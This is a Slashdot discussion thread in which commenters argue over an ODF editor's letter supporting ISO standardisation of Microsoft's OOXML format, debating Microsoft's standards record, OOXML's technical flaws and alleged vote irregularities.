348
54.02
Advanced antipattern: Processing results in submission order using ray.get¶ TLDR: Avoid calling ray.get one by one in a loop if possible. When processing in submission order, a remote function might delay processing of earlier finished remote function. When using ray.wait we can get finished tasks early, speeding up total time to completion. A batch of tasks are submitted, and we need to process their results individually once they’re done. We want to process the results as they finish, but use ray.get on the ObjectRefs in the order that they were submitted. If each remote function takes a different amount of time to finish, we may waste time waiting for all of the slower (straggler) remote functions to finish while the other faster functions have already finished. Instead, we want to process the tasks in the order that they finish using ray.wait. Code example¶ import random import time import ray @ray.remote def f(): time.sleep(random.random()) # Antipattern: process results in the order they were spawned. refs = [f.remote(i) for i in range(100)] for ref in refs: # Blocks until this ObjectRef is ready. result = ray.get(ref) # process result # Better approach: process results in the order that they finish. refs = [f.remote(i) for i in range(100)] unfinished = refs while unfinished: # Returns the first ObjectRef that is ready. finished, unfinished = ray.wait(unfinished, num_returns=1) result = ray.get(finished) # process result
https://docs.ray.io/en/master/ray-design-patterns/submission-order.html
CC-MAIN-2022-05
refinedweb
240
60.41
#include <io.h> These constants specify the current attributes of the file or directory specified by the function. The attributes are represented by the following manifest constants: Archive. Set whenever the file is changed, and cleared by the BACKUP command. Value: 0x20 Hidden file. Not normally seen with the DIR command, unless the /AH option is used. Returns information about normal files as well as files with this attribute. Value: 0x02 Normal. File can be read or written to without restriction. Value: 0x00 Read-only. File cannot be opened for writing, and a file with the same name cannot be created. Value: 0x01 Subdirectory. Value: 0x10 System file. Not normally seen with the DIR command, unless the /AS option is used. Value: 0x04 Multiple constants can be combined with the OR operator (|).
https://msdn.microsoft.com/en-us/library/d36dsa28(v=vs.120).aspx
CC-MAIN-2016-07
refinedweb
132
62.04
I have tried to make use of this api to effect a triggered Guest email exchange. Despite following the api guide I am constantly getting the following error: server responded with 400 - {"message":"Bad Request"} The back end code I am using is: import wixData from 'wix-crm-backend'; export function backendCrmCreate(first, last, email, phone, a_label, newDate) { let contactRecord = { 'firstName':first, 'lastname':last, 'labels':['a_label'], 'emails':[email], 'phones':[phone], 'newDateField': newDate }; console.log(contactRecord); // Inorder to send emails to this customer we need to have a crm record. // We will create one for this purpose return wixCRM.createContact(contactRecord) .then((contactId) => { do stuff return Promise.resolve(result); }) .catch((error) => { console.log(error); }); } Apart from anything else, this is not very helpful and doesn't help me figure out what is broken. The crm and crm-backend api's I expected to behave in a similar way to wix-data. i.e. user authentication is required to use crm api calls on front end code and admin privileges are automatic for backend code (or authentication is supressed). In addition because of the lack of a Single Sign On/ unique record capability (e.g. only one record can contain a given email), the crm can contain duplicate records for contacts. This (I am sure) would make it difficult for the existing crm api to work effectively without either generating new records or getting confused about which record to return (unless it defaults to Member records). Any feedback would be helpful Believe it or not, I'm still having a very similar error message. Did you ever figure it out? Are you using live or preview? Wix CRM cannot be used for logged in members so if you are in preview it will fire that error :) Ha! Exactly that Scott. I had figured it out the hard way later that day through trial and error, and now it's working. Thanks!
https://www.wix.com/corvid/forum/community-discussion/wix-crm-backend-is-this-api-active
CC-MAIN-2020-05
refinedweb
319
54.02
<Timings> which represents individual elements in the collections. The definition of the “Timings” class is shown below. Each element essentially is a tuple of two strings “EventName” for the name of the Stopwatch event, and “timingsinms” representing the time for the event. The code to then save and load the in-memory collection object into a persisting file was explicitly written as: .NET provides the System.Xml.Serialization namespace that contains objects to help serialize objects into XML documents which can then be saved in files. Likewise, it provides classes for the deserialization too. You can read all of the details about .NET serialization here. There are two options I can take - either to do an XMLSerialization or BinarySerialization. I am choosing XML since I could have a look at the file I need to and also tweak to choose the elements to be stored. Since we are using an ObservableCollection which is part of System.Collection and types in System.Collection and System.Collection.Generic are by default Serializable. So it’s east just to serialize the entire collection with one line of code. We first add System.Xml.Serialization as a reference, and include the name space in our project We then create an instance of the XmlSerializer class using the type of the object we want to serialize. With this, the saving and loading of the in memory collection to the file become a lot easier. To serialize to the file, the code now looks like the snippet shown below. We simply create a StreamWriter object for the file we have opened or created, and then serialize the instance of the XmlSerializer object (which has already been created of the write type), by calling the Serialize method, passing in the writer and the actual in memory collection as the parameters. Note that the ObservableCollection does not fire the NotifyPropertyChanged when the whole collection is deserialized. So we overcome that by setting the Itemsource of the TextBox to the Collection once again. For the Main Application you will see there are four events that need to be handled and you can see the event handlers stubs already written for you in App.Xaml.cs. In our case we want to handle the case where when the user presses the back button or when the Windows button is pressed or when the user powers off the mobile when the app is in use, we want to store what we have in in memory list. Currently we just have one screen and we will handle the Deactivated and Closed events when the main screen is being tombstoned. Let’s first add the event for handling the de-activation. This is also an opportune time to show off a Visual Studio short cut mechanism to define and add these event handlers. Simply type: Then hit the <tab> key twice. The code automatically expands to defining a default handler and setting the above event to the handler. See below We will replace the default implementation with a call to “saveTimings” and likewise define and do the same for the Current.Closing event. The code for both is shown below. Since we are loading the timings when the application loads, and saving them when the application is deactivated, we no longer need to save the timings when the “Save” button is clicked – we will simply let the data structure build up in memory. Earlier we were calculating the time down to seconds and milliseconds by dividing the elapsedmilliseconds. We will now write it to the TImeSpan class and find out the Hours, minutes, seconds and milliseconds in one line of code. Finally some aesthetic changes. I had noticed that the display style of the event name and that of the timings string were not quite the same. I have fixed that by appropriately defining the foreground brush for the TextBlock and its font size too – as shown in the XAML snippet below A quick test shows that the displays are looking much better, and the functionality is all intact Hitting the back button or hitting the “windows” button to tombstone button and getting back to the application also shows that the timings data is correctly being persisted and restored back My goal for the next session and next post is to add another feature to the Stopwatch – that of a count down timer. That will need me to add another page to the application or perhaps a panoramic view – that will be fun! Cheers!
http://blogs.msdn.com/b/amit_chatterjee/archive/2011/04/23/continuing-with-the-windows-phone-applications-net-serialization.aspx
CC-MAIN-2014-15
refinedweb
751
60.75
Is there anywhere good sources where I can go and read to find out how to start to code my game so if I click a key (eg 1) that my player with cycle through his attack animation and continue to move in his current direction and only be able to attack within a certain timeframe ? I have tried to look at other people code in games I found where the code was available but since they code with classes, it gets me confused alot as I am still learning. I read this post. Although this kind of helps, for me it would mean putting a state within a state. Is this possible ? I currently have a CombatIdle state (Enemy sat idle), a Combat Chasing state (Enemy is chasing the player around) and a CombatRetreat state (Player out of range, enemy heading back to be idle). If I can put a state within a state, I'm guessing I could just put the state in the CombatChasing state as this is the one where the enemy would be in range. I haven't posted code as I haven't began coding it. just looking for helpful resources on this before I come back and ask why it doesn't work Cheers ...just show some code, and point out specifically what doesn't work the way you want it to.... ----------------------------------------------------Please check out my songs: Ok, I'm working on this now so once I get some code up and running I'll do that Ok cool! I guess basically it's going to come down to conditions every time your game loop starts again, so, did I press attack? No? Carry on then...or...yes? Is there an enemy next to me? No? just play my attack animation then....or....yes? Well, how many DP does it have?....etc etc etc Ok, here's what I have so far Again my code is too long to fit it all in so cut most of it out. So what I believe is my code is actually performing an attack animation although it is too quick for me to see. All i see if my players jumping across the screen by X pixels This may work, however I think I need some kind of timer to slow the animation down so instead of it playing faster than I can see, it maybe takes 1-1.5 secs to complete. This I don't know how to do. EDIT:- If you need my full code let me know and i'll try and post it somehow Ultimately I think you'll want a timer, but you can slow down things as well by using a 'miniCounter', that increments the frame, something like: int miniFrame; int mainFrame; function movePlayer() { miniFrame++; if(miniFrame > 1000) //increase/decrease this to slow down/speed up { mainFrame++; } } That way you can control when the frame count goes up by using the miniFrame counter, which can be a huge number - the only problem with this is that it wont run at the same speeds on different machines (probably), so not as precise as a timer, but it should slow things down enough to see the animation! So what I believe is my code is actually performing an attack animation although it is too quick for me to see. Shouldn't be the case, unless the whole animation happens in less than 16ms since it may end before the average screen can refresh. while (keys[KEY_1] && Human.curFrame != Human.maxFrame) //Does a loop as if 1 is held down { This loop right here will do the whole attack in one frame without doing anything. I wrote a pretty simple way to do animation based on your already existing code. (Not tested btw, just to give an idea of the logic you can possibly use)Fix and change as you see fit. Cheers for the help guys. I'm working through your code taron, trying to understand it all, but I have ran into a few issues and questions. How do I declare or reference these within my main code ? (I've tried animation.IDLE, animation[IDLE], Animation.animation[IDLE] but none work, unless as its a struct it works differently to the way I done my enum keys[].)I'm assuming these would be where I code my variables for different animations. I haven't done this or seen this before. Eg if ATTACK, use animationRow 1, and animationColumns = 12if IDLE, use animation Row 2 etc. Then I have added this into my Player struct However I do get the following errors C2146: syntax error: missing ';' before identifier 'animation'C4430: missing type specifier - int assumed.Note C++ does not support default-intC2039: 'animation' : is not a member of 'Player'(previously all my Player struct worked) And my Player struct is in a objects.h file, if this makes any difference. I can place this in my main body of code although this would stop PlayerAttack from working as it would no longer reference to player (I think). I do like the way you wrote this aswell, I understand most of it can see how it works and how it does the animations You need a ; at the end of the struct! struct Player { Animation animation; }; I copied that from taron, didn't see his didn't have a ; at the end of the struct. In my code I do have this at the end. You haven't put ... in there have you?? No My current player struct looks like this (this is working before starting to add in taron's code) I have added the Animation animation just to show how it would be And then the error being displayed is attached I often forget to put a ';' after classes and structs if I recently programmed in a different language. How do I declare or reference these within my main code ? (I've tried animation.IDLE, animation[IDLE], Animation.animation[IDLE] but none work Animation::IDLE would be the correct syntax. Also you'd have to add int animationState or something inside the Animation struct to track which animation is being played, I forgot to add that. C2146: syntax error: missing ';' before identifier 'animation' C4430: missing type specifier - int assumed.Note C++ does not support default-int Generally this means it doesn't recognize the type. If you've put the Animation in its own header file, make sure to include that header in your Player header, otherwise the compiler will not be able to find the definition of the type.If you've defined the Animation in your main.cpp or whatever file, move it to a header file.So it would look something like this: #ifndef PLAYER_H #define PLAYER_H #include "animation.h" struct Player { ... }; #endif Or the shorter but less portable way. (Non standard extension, but supported by many compilers) #pragma once #include "animation.h" struct Player { ... }; Yeah the code is fine, have you declared Animation before player? Nope, I had declared Animation after it, changed it and that's fixed that part, thanks Dizzy. Taron, thanks for the help on the correct syntax, now to work on getting it right, not long left to finish it All my structs are in the same file, I only have 2 objects.h (all my structs) and main.cpp Hopefully I should be able to figure this out now. Cool! Let us know if you get stuck again....I'm warming up for Speedhack so need motivation to get coding Allegro5 again! I think i'm doing this wrong :-( I have placed my ChangeAnimation in my ALLEGRO_EVENT_TIMER code, so to me it says, if Player is in the CombatIdle state and KEY_1 is pressed then change the animation. Then for the function I have placed some states of the animations. What would go in place of newAnimation in this line ChangeAnimation(animation, newAnimation); ? I tried Animation::ATTACK, animation::ATTACK, animation.ATTACK with no luck. Before you use 'newAnimation', do you create it? ie: Animation *newAnimation; ChangeAnimation(animation, newAnimation); (the above code wont work, I was just seeing if you'd 'created' the newAnimation...) EDIT: Consider this... int i = 5; void changeInt(int &arg) { arg = 20; } int main() { changeInt(i); //i now = 20!! } That will be it, no I haven't created it apart from in the ChangeAnimation function. I see that part is in the PlayerAttack part of tarons code. I feel i'm getting more and more confused as I delve further into the depths of the unknown :-) And going from zero Allegro5 experience to doing it alot everyday is also confusing me. Cheers Dizzy :-) Try not to go too far down a road that is suggested on here if it seems alien; I used 1 .cpp file and hundreds of separate variables for my first 20 odd projects....LONG before I started delving into enums and structs....keep it simple, and as soon as something doesn't make sense, come on here and post some code...that's how I learned! Cheers for the advice. So trying to do it in a way I understand. Using Mike Geig's tutorial on his spaceshooter he has a comet going across his screen using no input. It move across without any keys being involved and his code for that is I added comments to compare to my code. So based on that, I want a animation to happen basically the same way except I press a key first so I press the key and declare that the player is attacking So looking at the 2 codes, why is one allowing it to be cycled all the time and perform the animation across the screen, yet with my code only cycle through the animation when I actually hold down the key. From what I gather I have removed the keypress part by adding the PlayerAttacking, so my PlayerAttacking is now similar to If the comet is onscreen. The only big difference I see isMy code Mike Geig's code We both have our calls in the ALLEGRO_EVENT_TIMER section aswell. EDIT_ OMG I got it to workOn the bad side is when I move after attacking it plays that animation again, but I got it to work So...do you want your animation run whilst you're holding down KEY_1, or simply run it when KEY_1 is pressed? EDIT! YOU GOT IT! I just edited at the same time but I kinda got it to work I just wanted my player to move about, but if the 1 key was pressed (and released) it would play a attack animation. As of now when I press 1 it does plays the attack animation However when I move after that it keeps playing the attack animation instead of the moving ones. So need to fix that But it is progress Cool Human.Attacking = true; if (Human.Attacking) // Is my player attacking, then do the code below ..hmmmmm You right I changed to this Where before I was doing Then putting Human.Attacking = true; in my function. It was probably suggested way earlier than now I just didn't get it in the right place EDIT:- If press 1 while moving he plays his attack animation all the time, until i release left or right and repress it
https://www.allegro.cc/forums/thread/615392/1013343
CC-MAIN-2018-09
refinedweb
1,892
70.84
> > I think this is the right fix. > > Please describe the reasons why you think this is the right fix. menu-updating-buffers is defined in syms_of_xmenu (). Currently syms_of_xmenu is only called in emacs.c if HAVE_MENUS is true. menu-updating-buffers is needed even if Emacs is configured without X (on GNU/Linux at least) but in this case HAVE_MENUS is not defined. xmenu.c is needed even HAVE_X_WINDOWS is not defined so I've moved it outside the conditional requiring it. > (I'm > assuming you've read the discussions from 2004 that led to the > original changes.) I might not have followed it all but your change seemed to cover Carbon Emacs which it still does: #ifndef HAVE_CARBON XMENU_OBJ = xmenu.o #endif Now I've moved it outside #ifdef HAVE_X_WINDOWS you might need to add another condition for when w32menu.o is used, I'm not sure. > >.) I didn't find the discussion that led to this change. It might have been part of a general tidying process. > In addition, we need to explain why the OP says he started to see the > problem only recently. I've tried to explain that in another post: more calls to menu-updating-frame have been made in menu-bar.el (26/08/05). > >. I don't have an opinion on whether you or Kim were tricked, just that the description is misleading and that xmenu.c is needed even HAVE_X_WINDOWS is not defined. Nick
https://lists.gnu.org/archive/html/emacs-devel/2005-09/msg00197.html
CC-MAIN-2019-51
refinedweb
243
75.3
The easiest way to extract the maximum numeric value from a string using regex is to − For example, for the input string − There are 121005 people in this city, 1587469 in the neighboring city and 18775994 in a far-off city. We should get the output − 18775994 We can use "\d+" regex to find all numbers in a string as \d signifies a digit and the plus sign finds the longest string of continuous digits. We can implement it using the re package as follows − import re # Extract all numeric values from the string. occ = re.findall("\d+", "There are 121005 people in this city, 1587469 in the neighbouring city and 18775994 in a far off city.") # Convert the numeric values from string to int. num_list = map(int, occ) # Find and print the max print(max(num_list)) This will give the output − 18775994
https://www.tutorialspoint.com/Python-Regex-to-extract-maximum-numeric-value-from-a-string
CC-MAIN-2022-05
refinedweb
143
73.71
ODF Editor Says ODF Loses If OOXML Does 268 An anonymous reader writes "The editor of the Open Document Format standard has written a letter (PDF) that strongly supports recognizing Microsoft's.'" 3 questions... (Score:5, Insightful) He invoques the need to have a formal definition of some features (formula definitions and legacy stuff) as benifiting ODF if OOXML pass, so this raises the questions: 1) Aren't these already included to some extend in what was submitted for iso acceptation? 2) Wasn't this specification part of what EU's justice were asking Microsoft anyways? 3) Is it that hard to reverse-ingeneer that kind of spec? Asking in good faith, as I really hav no clue. Re:3 questions... (Score:5, Funny) Re:3 questions... (Score:4, Funny) Re: (Score:2) Re: (Score:2) Re: (Score:2) Re: (Score:2) Re: (Score:2, Informative) Re: (Score:2) Re:3 questions... (Score:5, Insightful) No. His point seems to be that some features are not in ODF yet, so we might as well accept Microsoft's, and that way we have to support fewer different implementations of features. He's approaching this thing with a naivete that is stunning in an adult who has watched Microsoft's behavior with standards. From the letter: More importantly, what if ISO and Microsoft reach different definitions for the same OpenXML functions? After watching Java and Kerberos and CSS... We already have indications that Microsoft would ignore ISO on OOXML, too. Re: (Score:2) I have no doubt that OOXML has a lot more features than ODF does. However, I suspect that there are a lot of features that are Microsoft specific based on the rhetoric I've heard about OOXML tainting from that interest. That said, would it make more sense to back out all the contested elements of the OOXML and approve a version of the specification that is complete within itself although many might consider it inadequate for the advanced feature sets of currently released software, Microsoft and ODF alike? Re:3 questions... (Score:4, Interesting) Oh please, not the Kerberos thing again. Microsoft used the vendor specific fields for, shock horror, vendor specific data; it fully complied with RFC1964 and RFC1510 and interoped with MIT Kerberos versions 1.0.5, 1.0.6 and 1.1.1. The java debacle was not that they changed the underlying java spec (and it was in no way an ISO spec), but that they added their own namespaces which didn't stand out enough. CSS, well, that's just bloody poor implementation. Mozilla have been happy to ignore parts of CSS and go their own way too, text wrapping immediately springs to mind where the MS extensions were on the road to being rolled up into the spec, but Mozilla decided to implement their own, so now, come CSS 3 we have two different methods of doing the same thing. At least someone is admitting that ODF is lacking in a number of key areas and isn't the magic bullet everyone wants it to be. Re:3 questions... (Score:5, Insightful) That being said, I don't think people want ODF to be a magic bullet, and everyone knows that ODF is feature thin compared to OOXML. However, I think after decades of shifting vendor to vendor as corporate interests take turns in the gang-raping that has been the software industry for as long as I can remember, people have realised that open standards are better than extra features, provided that the basics are covered. That, to me sums up the ODF vs OOXML debate; format stability vs edge case features. Re:3 questions... (Score:5, Interesting) The best comparison would be S/MIME vs PGP. If you look at deployed base there is absolutely no question that S/MIME wins. We have over a billion email clients with embedded S/MIME support. But both are IETF standards and I was present when Burt Kaliski pitched handing S/MIME to Jeff Schiller, the Security area. Jeff was at the time probably the biggest PGP supporter, he was one of the main people who made the MIT distribution of PGP happen. The popular perception is that the S/MIME and PGP camps are both at each other's throats. This is not the case at all. Neither product is exactly a deployment success in that virtually no email is secured with either. Jon Callas, CTO of PGP and I both worked on DKIM together. PGP Inc. makes an excellent S/MIME product. The perception that there is a division only hurts both standards. In my book [blogspot.com] I advocate that email clients implement at least PGP encryption so we can move forward to an interoperable message level confidentiality solution. There is not a big technical or even a market reason to do this, but there is a major political reason as PGP dominates in mindshare. We are going to make very sure that we do not have a similar schism when we move to the next generation technologies. ODF vs OOXML is a very similar problem. The deployed base of applications is simply too great to make convergence on a single standard practical for this generation. It is only going to become practical when the market moves to the next generation. The Microsoft Java namespace was entirely justified, Microsoft had bought into Java thinking that they could use it as their next generation programming language across the board. The only way to do that was to allow access to Windows APIs. Sun thought that Java was more than a programming language, it was a replacement platform that they had absolute control over and would sue anyone who tried to implement different ideas. The way I looked at it was 'OK Sun, you have an idea whose time might have come, but why should you get to control the entire future of the computing business on the basis of one idea'. Standards are not about establishing a monoculture. The idea is to standardize what we agree on so that we can then innovate in areas that provide useful choices, i.e. benefits, for the customer and not in areas where it only causes problems. ODF is not going to be the canonical archive format in perpetuity. It is rooted in the world of paper documents for a start. Re: (Score:3, Interesting) Re:3 questions... (Score:5, Informative) Re: 3 questions... (Score:3, Insightful) Re: (Score:3, Informative) Of course it didn't help that Kerb was designed for the Unix UID/GID model Would you mind expanding on that a bit? As far as I'm aware, a UID or GID is part of the Kerberos protocol in any way, shape or form. A Kerberos principal is a name and a domain, which I think should map pretty fine onto Windows' model. The extended stuff was Windows domain membership and so on. If MS didn't require that in the client implementation it would have been useless as Windows logon mechanism, or at least it wouldn't be feature-equivalent to the old lanman one. You may want to read this [usenix.org], by Microsoft's Peter Brundrett. A quote: "Using NTLM authentication, the user's SID and the group's SIDs are received directly from the server's DC, and any trusted domains, using the Netlogon secure channel. Using the Kerberos protocol, user and Re:3 questions... (Score:5, Informative) Re: (Score:3, Informative) Re: (Score:2) The very fact that you are asking this question is a strong indicator that ISO's actions here are completely irrelevant - they serve only as marketing for Microsoft. Re: (Score:2) Re:3 questions... (Score:5, Interesting) From the article: His big beef is the ODF standard needs to have some formula definitions added??? So add them to the standard! Somehow I think the actual formulas, at least the financial ones, are already defined in some other standard, maybe not an ISO standard, but a standard somewhere. I just can't believe CPA's make up their own formulas. (OK, honest CPA's.) And since these formula's are standard somewhere else already, then OpenXML should have the same formulas. "But what if there are different standards for the same financial function?" you ask. Well, then have a flag to pick which one is used as part of the function call. If OpenXML doesn't do this then ODF can make claims that Excel is not suitable for financial calculations. Actually, from the comments above, I'd say that is already the case. "...output varies by version and service pack of MS Office." does not inspire confidence in me for one. The author also seems to think having OpenXML as a standard will provide anyone and everyone the complete specs to the standard. From what I've read, this isn't the case so far, and I doubt MS is anxious for that to happen. Get it approved, yes, but describe it in enough detail that anyone else could fully implement it, no. As it is, Microsoft will not commit to supporting the standard. According to Brian Jones, a Microsoft manager who has worked on OOXML for six years: ." [techworld.com] Re:3 questions... (Score:5, Interesting) Don't fully understand his arguments (Score:5, Insightful) Re:Don't fully understand his arguments (Score:5, Informative) Re:Don't fully understand his arguments (Score:5, Informative) Re:Don't fully understand his arguments (Score:5, Funny) Ahhhh young grasshopper, to understand his logic and arguments one must first understand the The Time Cube. [timecube.com] - Re: (Score:2) Seriously, did the guy just play too much Starcon2? He's one sentence away from saying "Time cube are not *many fingers*!" Re: (Score:2) Re:Don't fully understand his arguments (Score:5, Insightful) Okay, now I'm'a *hafta* RTFA... (Score:5, Insightful) ... at least so I can find out what he's smokin' and get me some of that. I mean, whah??? If OOOXML is garbage, and not an open standard given the really big implementation holes, and not apparently implemented *anywhere* (nor, some might argue, implement*able*), why is it in anyone's interest to have it passed? Aside from Microsoft's, of course. Confused, Re: (Score:2) I ran it through Babel Fish a couple times, see if this helps: Re:Okay, now I'm'a *hafta* RTFA... (Score:4, Insightful) Governments increasingly demand software that supports open document standards. Because they finally realize the problems vendor lock-in can give them. That means that Microsoft's OOXML has at least to look like an open standard. If it doesn't, MS is faced with two unpleasant alternatives: 1) Rework Office to support ODF. In this case, they would lose vendor lock-in and they would also have to catch up to the implementations of others. For a few years, I guess Open Office would look a lot better than MS office because they have a head start with ODF. 2) Lose the government business, leading to companies who work a lot with the authorities also switching for compatibility. Another great way to erase the dominant position of MS Office We failed already (Score:4, Funny) Re:We failed already (Score:5, Insightful) Acrobat, on the other hand, is a bloated pile of garbage. Have YOU used acrobat? (Score:3, Insightful) Re:We failed already (Score:5, Insightful) Re: (Score:2) Re: (Score:2) Re: (Score:2) Re: (Score:2) Re: (Score:2) Of course, this won't stop people cut-and-pasting, or even just re-typing the document. At that stage you're getting into DRM which is, as many have pointed out here, futile. Someone could copy your document - but they couldn't re-encrypt it with your pr Re: (Score:2) Re: (Score:2) Of course, anyone can copy it and distribute it in a non-authenticated file format. So it would still depend on people actually checking that the file is properly authent Re: (Score:2) Yes, there is. It's called public key cryptography. You generate something, sign it with your private key, and send it along with your public key. Anyone can read it. Nobody can change it, because they'd need your private key to sign it. Yes, they can rip it and stuff it into another format, but they can't sign it with your private key, so it's immediately obvious that it isn't your original Ka Ching (Score:3, Insightful) Can't say that I understand him (Score:5, Interesting) Re: (Score:2) And the other 95% use OOXML, in that case, OpenDocument is a total waste of time. I believe those numbers are optimistic. Most home users I know are using OpenOffice and saving ODF at home. It might be because I help them install it. At work, we now have been allowed to use it. And enough commitment to ODF that it will survive and if MS pushes MOOXML down peoples throats, might go with ODF. Why get caught into lock in and associated vender quirks if you do not need to? But this editor is a whacko and Rob Weir's response to Patrick's sudden flip flop (Score:5, Interesting) Re:Rob Weir's response to Patrick's sudden flip fl (Score:5, Informative) In addition, Patrick Durusau is one of several editors on ODF (in ODF 1.0 he was one of six editors) and in ODF 1.1 and the 1.2 drafts he's one of three and one of two respectively. So he's not the editor, he's an editor. Patrick doesn't present technical arguments, he only presents political ones, and generally he seems to be of the opinion that it's better that Microsoft be involved in ISO than not (and this opinion overrides any issues of quality, or whether anyone else can implement OOXML). This is the idea that this way we get to have more of an impact on Microsoft. In my opinion OOXML is an insincere involvement in the ISO process (as shown by minimum change during the fast-track, and poor documentation of OOXML) and I think it's naive to expect more in the future. So to me the political angle on this fails. The technical angle on it fails completely [robweir.com]. Re: (Score:2) Read Contra Durusau by Rob Weir (Score:5, Informative) [robweir.com] This guy Durusau seems to have changed his mind to a pro-MS shill in recent times. Well, I disagree. (Score:5, Insightful) Re: (Score:3, Insightful) Interesting angle on Durusau's behavior (Score:5, Interesting) This is conjecture, obviously, but I find it plausible, FWIW, especially since there is now a follow-up. From the Horse's mouth (Score:5, Informative) Wanna know how much Microsoft has reformed this sort of thing?You can get it all here [groklaw.net] Even at their worst, they are good (Score:3, Insightful) I don't know about ODF (Score:5, Insightful) The only thing is, 500 pages of ODF spec may not be much better for small businesses. What we need is a specification with multiple levels of fallback for simplier generators and consumers. For example, one part of a document zip file can be plain text contained in the document, with reasonable efforts to convert document structure to a human and machine readable plain text representation. For producers, it will be valid to generate a document bundle with only the text file and nothing else. Re: (Score:2) Re: (Score:3, Interesting) Wouldn't it make more sense to just add new properties to CSS3 and just use XHTML? I've never entirely understood the need for either format. If we can specify every aspect of page layout with CSS3, then we can do everything with HTML that we can do with word processor docs. If we add page transition style definitions, we've got presentation docs covered. Add MathML and we have spreads Re:I don't know about ODF (Score:4, Insightful) Re: (Score:3, Interesting) While sed, awk, and grep are sufficient for very basic transformations and I use them freque Re: (Score:2) A partial implementation is different - just implement the features you need or use an SDK. Wow (Score:2) Despair (Score:3, Insightful) I despair at the behaviour and apparent quality of technical expertise of some of my peers. How this kind of thing works - Soft Bribery (Score:5, Interesting) -------"'s $$$ Re: (Score:2) It's even worse for people who have done the Right Thing(tm) in the past and watched others walk away with all the money to say no to something like this. If you've seen what you could have had if only you bent slightly, you'd also be tempted by something like this. Fortunately for everyone, I'm unlikely to ever be in this position again, so I'll keep doing the Right Thing Re: (Score:2, Funny) Re: (Score:3, Informative) They dropped their opposition, recommended the MS deal, and got paid a quarter of a million (equivalent) to do sweet fuck-all for 6 months. My friend feels like a sell-out, but his daughter's now in a better school. Wow, way to defend corruption. As if selfish, short-term monetary benefit is the only thing in the world that matters. OK, in all fairness, according to the current American political dogma, that is exactly true, but then again, that is exactly why so many people elsewhere hate the stereotypical "ugly American". To get back to the point, I wonder if this guy will ever have the nerve to tell his daughter how he managed to send her to the extra-fancy school? To defend not only this elitism (how about workin Tenacious (Score:3, Interesting) It's important to keep in mind the reasons we oppose the OpenXML format.. * It'll let Microsoft extend the blight of their ".doc" format for years to come. * As with doc, hard to reverse engineer, if it becomes a standard and gets widely used, especially in government, we'll be stuck implementing it in OSS apps while they change it to be different (Bourne out with * Binary blobs that could be anything, stuck into the code at Microsoft's request, obtainable only from Microsoft. Lately there have been even better reasons. * Allegations of corruption and mishandled votes. In order to ensure the public good, we have to stand against that sort of thing. Being stuck reverse engineering a broken format is LESS of a problem than being in a situation where your votes get messed with. It wasn't a public vote I'll grant but it still matters. After the mess with the standard voting, they have to become an example to others. While in the pro-camp, we have what? * Better spreadsheet handling with Excel * Legacy features of Microsoft formats Handy sure, but it's not as if we can't transfer from Basically, the benefits aren't as important as stopping vote rigging or the problems of being blighted with Microsoft lock-in and binary blobs. Great Shades of Miguel! (Score:3, Funny) Can ISO de-recognise standards? (Score:4, Interesting) Can the ISO then meet again and de-recognise the DIS29500 standard? If yes, what is the procedure for this process? In other news... (Score:5, Funny) I don't see it. (Score:5, Interesting) First, literally, I don't see TFA. I see TFBE -- The Fine Blog Entry -- which quotes the letter, but doesn't link to it. But I'll work with what I have: Then OpenDocument is the correct, standard definition, and OpenXML will be even further from standardization. The fact that Excel output varies by version and service pack, and is sometimes downright wrong, is all the more reason to ignore it. Approximate it, maybe, to make porting easier. Write a compatibility layer, even. But don't push through an entire second document spec, which is so deeply flawed in so many ways, just to make us match one particular iteration of Excel output. Oh, and Excel output varies by version and service pack. WTF makes this tool think Microsoft will even try to adhere to a standard, even if it's their own? It certainly would, wouldn't it? Except for the fact that the OOXML spec doesn't include them. In all its six thousand fucking pages, not one mention of how, exactly, to implement LineSpacingLikeWord95. And what's he proposing -- delay OOXML until this can be included in the spec, and thus make it, what, twelve thousand pages? Or push it through in the faith (hah!) that Microsoft will add it to the next version of OOXML? Consider, also, that there is a right way to do this: Styles. Extend the style system to support this quirky behavior. Support quirky behavior in an abstract way. Then, put the actual definition of LineSpacingLikeWord95 in the document itself, as a style. Translating back is easy, too -- just look for styles flagged that way, or just styles that happen to match the original format's quirk. It would take some work, sure. But it would be pushing the work back to Microsoft and Office, not to ISO and any potential other implementations. And it would mean we don't have to carry this legacy crap with the format forever -- eventually, there will be no more Word95 documents, and no implementation will have to care that LineSpacingLikeWord95 corresponds to an actual way of saving a Word95 .doc -- just that it should look a particular way. no "co-evolution" (Score:5, Insightful) It's an office format, not nuclear fusion reactor design. ODF is already the better format, and there's nothing that ODF can learn from OOXML. Whatever expertise might flow from other standards into ODF already does because ODF (unlike OOXML) builds on existing standards. But there's another reason why ODF won't benefit: OOXML "standardization" is just a trophy to Microsoft, a check-list item for buyers who want a standardized, open document format. Microsoft is going to keep adding proprietary extensions as they see fit, without bothering going through standardization or documenting them. (The guy also grossly misuses the term "co-evolution", but let's not dwell on that.) That may be true, but... (Score:5, Insightful) * There are some serious technical issues with the current proposal that have to be resolved * There are some very serious problems with the way the process has evolved * There is no guarantee that Microsoft will follow their own standards -- since, if there are big changes to the standard, it would require them to change their current file format. The first two problems indicate that, perhaps, the fast-track-to-ISO was not a good idea for this standard, and that some more time and work is required before the standard is approved, no matter how beneficial an eventual approval would be for anyone. Affordable losses? (Score:2) I have a hard time feeling oh dear. (Score:2) That is - if the votes were free and fair and based purely on technical merit I would have no problem with OOXML at all. In the spirit of free competition let the best format win to the benefit of all. But the vote ARE NOT fair. Clearly and demonstrably so, see the past history on this subject. There is the stench of political and commercial interference in decisions I still don't get it... (Score:2) Someone care to explain that to me in words of one syllable? Re: (Score:3, Interesting) Hmmm. Man attends conference in Seattle first. (Score:3, Interesting) Now, Seattle and Redmond are fairly close, geographically speaking. I wonder if Mr. Durusau received some sort of persuasion from a company based in Redmond. I think we should be told. If OOXML wins then ODF loses (Score:4, Informative) If OOXML became an ISO standard the chances of ODF support in MS Office is zero. I'm sure Microsoft will act all conciliatory once they get their standard but they will never offer more than token support for ODF. If they produce anything at all I expect it will be some broken tools that conveniently convert ODF to OOXML but botch OOXML to ODF conversion. How anyone can think that OOXML standardization is a good thing just boggles the mind. It will either kill ODF or marginalize it so much that it doesn't matter any more. Mystery Men and PDF (Score:2, Funny) What's the point of a superhero if there is no evil overlord? One should point out that a significant majority of documentation out there is already final and should be non-editable. PDF is already the defacto standard for this. So presently, OO can easily produce a PDF of a document which can be read by almost anyone. Any MS doc could be converted to PDF by proprietary software. So PDF is the common document format. It's only when a document has to be edited by a number of collaborat Has an "incentive" been offered you think? (Score:2, Interesting) When I lived in Malaysia last year (very nice, warm people with a really dodgy government), whenever a major project is 